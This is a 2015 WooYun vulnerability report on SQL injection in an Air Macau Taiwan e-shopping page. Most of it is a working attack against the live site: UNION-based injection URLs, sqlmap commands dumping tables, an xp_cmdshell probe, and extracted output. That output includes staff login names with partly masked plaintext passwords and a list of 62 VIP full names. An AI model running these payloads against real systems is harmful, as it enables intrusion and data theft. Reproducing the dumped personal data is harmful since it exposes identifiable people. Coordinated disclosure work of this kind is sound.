当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-097456

漏洞标题:澳门航空某站SQL注入漏洞(明文密码)

相关厂商:澳门航空

漏洞作者: goubuli

提交时间:2015-02-24 12:05

修复时间:2015-04-13 16:58

公开时间:2015-04-13 16:58

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(Hitcon台湾互联网漏洞报告平台)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-02-24: 细节已通知厂商并且等待厂商处理中
2015-03-02: 厂商已经确认,细节仅向厂商公开
2015-03-12: 细节向核心白帽子及相关领域专家公开
2015-03-22: 细节向普通白帽子公开
2015-04-01: 细节向实习白帽子公开
2015-04-13: 细节向公众公开

简要描述:

澳门航空某站SQL注射

详细说明:

http://www.airmacau.com.tw/airshopping/eshopping_intro.asp?item=53008871
字段判断:http://www.airmacau.com.tw/airshopping/eshopping_intro.asp?item=53008871 order by 16
union查询:http://www.airmacau.com.tw/airshopping/eshopping_intro.asp?item=53008871 and 1=2 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16
可用字段:4、5、8、9、10、11、12、13
如图:

0215_1.png


查询数据库信息及用户信息:
http://www.airmacau.com.tw/airshopping/eshopping_intro.asp?item=53008871 and 1=2 UNION SELECT 1,2,3,user,db_name(),6,7,@@version,9,10,11,12,13,14,15,16
如图:

0215_2.png


得到用户:

dbo


当前数据库:

tpe_web


数据库信息:

Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86) Oct 14 2005 00:33:37 Copyright (c) 1988-2005 Microsoft Corporation Standard Edition on Windows NT 6.0 (Build 6002: Service Pack 2)


手工爆表SQL:http://www.airmacau.com.tw/airshopping/eshopping_intro.asp?item=53008871 and 1=2 UNION SELECT top 1 1,2,3,NAME,5,6,7,8,9,10,11,12,13,14,15,16 from tpe_web.DBO.sysobjects where xtype='U' and status>=0
表太多,直接上工具
1、sqlmap.py -u ttp://www.airmacau.com.tw/airshopping/eshopping_intro.asp?item=53008871" --tables -D "tpe_web"

0215_3.png


web server operating system: Windows 2008 or Vista
web application technology: ASP.NET, ASP, Microsoft IIS 7.0
back-end DBMS: Microsoft SQL Server 2005
[22:43:29] [INFO] fetching tables for database: tpe_web
[22:43:29] [INFO] the SQL query used returns 106 entries
Database: tpe_web
[106 tables]
+-----------------------------+
| CityName |
| NXPress |
| NotesLog |
| ReConfirm |
| co-brand_member |
| advertisement |
| amh_bkk_hotel |
| b2blist |
| bbs_join |
| bbs_main |
| bbs_sub |
| bpbonus |
| cakk_application |
| cargo_booking_adhoc |
| cargo_booking_adhoc |
| cargo_booking_flight_type |
| cargo_booking_flight_type |
| cargo_booking_no_type |
| cargo_marquee |
| cargo_track |
| cgormk |
| cobrand_pw |
| ctcb_application_agent |
| ctcb_application_agent |
| ctcb_ffpno |
| dapo_agent |
| dapo_apply |
| dtest |
| dtproperties |
| eticket_aggregate_free |
| eticket_aggregate_free |
| eticket_aggregate_free |
| eticket_ca |
| eticket_cobrand |
| eticket_compensate |
| eticket_free_product |
| eticket_hotel |
| eticket_magazine |
| eticket_paylink |
| eticket_product |
| eticket_project |
| eticket_reissue |
| eticket_travelfair |
| ffp_partner |
| flight |
| hotel_booking_contact |
| hotel_booking_contact |
| hotel_booking_contact |
| hotel_booking_disney |
| hotel_booking_guarantee_pay |
| hotel_booking_guarantee_pay |
| hotel_booking_hotels |
| hotel_booking_mco |
| hotel_booking_mfmhotel |
| hotel_booking_product |
| hotel_booking_show |
| hotel_booking_tcuser |
| hotel_booking_zaia_show |
| htlbook |
| iataagent |
| iatauser |
| industryfare_lock |
| industryfare_lock |
| key_table |
| khh_ad |
| login_user |
| mco_contect |
| mco_order |
| mco_ticket |
| mileage_transfer |
| newbonus |
| newsps_reporter |
| newsps_reporter |
| offers |
| online_payment |
| pr_check |
| pr_control |
| pr_tmp |
| preorder_tmp |
| preorder_tmp |
| realtime_timetable |
| recruit |
| route_command |
| route_report_link |
| sales_mail_list |
| sales_mail_log |
| shopping_type |
| shopping_type |
| sqlmapoutput |
| sysdiagrams |
| tpm_data_bak |
| tpm_data_bak |
| vinfopackagedetail |
| vinfopackagedetail |
| vinfopackageitems |
| vinfopackagereg |
| vinfopackagetmp |
| vinfouser |
| viplist |
| welfare_bid_detail |
| welfare_bid_detail |
| welfare_hot_join |
| welfare_hot_main |
| welfare_hot_sub |
| welfare_news |
| welfare_vote |
+-----------------------------+


2、sqlmap.py -u "http://www.airmacau.com.tw/airshopping/eshopping_intro.asp?item=53008871" --dump -C "name,passwd" -T "login_user" -D "tpe_web"
密码明文(已打码):

Database: tpe_web
Table: login_user
[49 entries]
+----------------------+-----------+
| name | passwd |
+----------------------+-----------+
| Administrator | go****cau |
| C Lu | 42**** |
| CA Cargo | 28****03 |
| Calvin Liao | 07**** |
| Christina Ieong | cs**** |
| CKS Airport | nx**** |
| E Su | 80**** |
| Elaine OY | 01**** |
| ELAINEOU YANG | ai****au |
| Emma Huang | ha****136 |
| FAR GLORY | 48**** |
| Fiona Lin | fi****in |
| Gary Yang | ms**** |
| George Chou | re**** |
| Hazel Chen | ha****hen |
| HGH Ticketing | ai****au |
| Jackson Ting | 06**** |
| Julia Hsieh | 50**** |
| Kevin Li | KM**** |
| KHH Accounting | ai****au |
| KHH Airport | nx**** |
| KHH Sales | ai****au |
| KHH Ticketing | ai****au |
| KingPower | 12**** |
| Leah Huang | 12**** |
| MFM Accounting | em**** |
| MFM AMH | am**** |
| MFM AMH Finance | NX****MH |
| MFM AMH Head | ai****au |
| MFM Cargo | ai****au |
| MFM CSH | ai****au |
| MFM Inflight Service | in****ht |
| MFM IT | ai****au |
| MFM PR | ai****au |
| MFM Reservation | ai****au |
| MFM Ticketing | ai****au |
| Mike Chu | 11****ta |
| Nick Chen | 02**** |
| R Hsu | 50**** |
| Robyn Hsu | am****6 |
| Stacy Lin | st****in |
| TPE Accounting | ai****au |
| TPE E-Commerce | am****2 |
| TPE HR | ai****au |
| TPE Reservation | ai****au |
| TPE Sales | nx**** |
| TPE Ticketing | ai****au |
| TXG Ticketing | ai****au |
| Vickie Shih | 03**** |
+----------------------+-----------+


0215_4.png


其他数据:

Database: tpe_web
Table: viplist
[62 entries]
+-----------+---------------------+
| vip_cname | vip_ename |
+-----------+---------------------+
| 詹生財 | CHANG CHAN TSAI |
| 張漢文 | CHANG HAN WEN |
| 張國安 | Chang/Kuo An |
| 趙維南 | CHAO WEI NAN |
| 陳徹 | CHEN CHE |
| 陳聰賢 | Chen/chong shien |
| 陳修博 | Chen/Hsiu po |
| 陳建軍 | CHEN/JIANJUN |
| 陳炳昌 | Chen/Ping Chang |
| 鄭平 | CHENG PING |
| 鄭增明 | Cheng/Tseng Ming |
| 江清波 | CHIANG CHING PO |
| 江文豪 | CHIANG/WENHAO |
| 邱全成 | CHIU CHUAN CHEN |
| 周枝田 | CHOU CHIH TIEN |
| 祝維光 | CHU WEI KUANG |
| 何祖祥 | HO TSU HSIANG |
| 謝深彥 | HSIEH SHEN YEN |
| 徐沆 | HSU HANG |
| 黃宣和 | HUANG HSUAN HO |
| 黃溫秀琴 | Huang Wen/Hsiu Chin |
| 黃健堂 | Huang/Chien Tang |
| 黃紅光 | HUANG/HONGGUANG |
| 黃寶玉 | HUANG/PAOYU |
| 蔡俊宏 | JOHN TSAI JING HONG |
| 郭山輝 | KUO SHAN HUEI |
| 郭健仁 | Kuo/Chien Jen |
| 賴吉良 | Lai/chi liang |
| 李文良 | LEE WEN LIANG |
| 李俊堂 | LEE/CHUN-TANG |
| 李志剛 | LI/ZHIGANG |
| 林世銘 | LIN SHIH MING |
| <blank> | Lin/Jung Te |
| 劉玲君 | LIU LIN CHUN |
| 陸有義 | LU/YOUYI |
| 馬志玲 | MA/CHIHLING |
| 莫永清 | MO/YONGQING |
| 粘米生 | NIEN MI SHENG |
| 翁述正 | ONG/SUJENG |
| 潘建民 | PAN/JIANMIN |
| 謝慶源 | SHIEH CHING YUAN |
| 束華 | SHU/HUA |
| 粟增林 | SU/ZENGLIN |
| 湯傑 | TANG/JIE |
| <blank> | Thelma Limtila |
| 曹日章 | TSAO/RHYCHANG |
| 曾紀堅 | TSENG CHI CHIEN |
| 曾建煌 | TSENG CHIEN HUANG |
| 曾美玲 | TSENG MEI LING |
| 王子維 | WANG TZU WEI |
| 王大平 | WANG/DAPING |
| 王佳中 | WANG/JIAZHONG |
| 王藤貴 | Wang/Teng Kuei |
| 王躍飛 | WANG/YUEFEI |
| 吳振坤 | WU CHEN KUN |
| 吳德煉 | WU TE LIEN |
| 熊振國 | XIONG/ZHENGUO |
| 楊憲靖 | YANG HSIEN CHING |
| 葉春榮 | YEH CHUN RONG |
| 葉宏燈 | YEH HONG DAN |
| 張正平 | ZHANG/ZHENGPING |
| 鍾國文 | ZHONG/GUOWEN |
+-----------+---------------------+


测试是否开启xp_cmdshell:
http://www.airmacau.com.tw/airshopping/eshopping_intro.asp?item=53008871 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')
xp_cmdshell成功。。。
但是不支持多条语句执行,就提交一个SQL注入漏洞吧。

漏洞证明:

0215_2.png


0215_3.png

修复方案:

1、加WAF
2、加过滤

版权声明:转载请注明来源 goubuli@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2015-03-02 23:05

厂商回复:

謝謝通報

最新状态:

暂无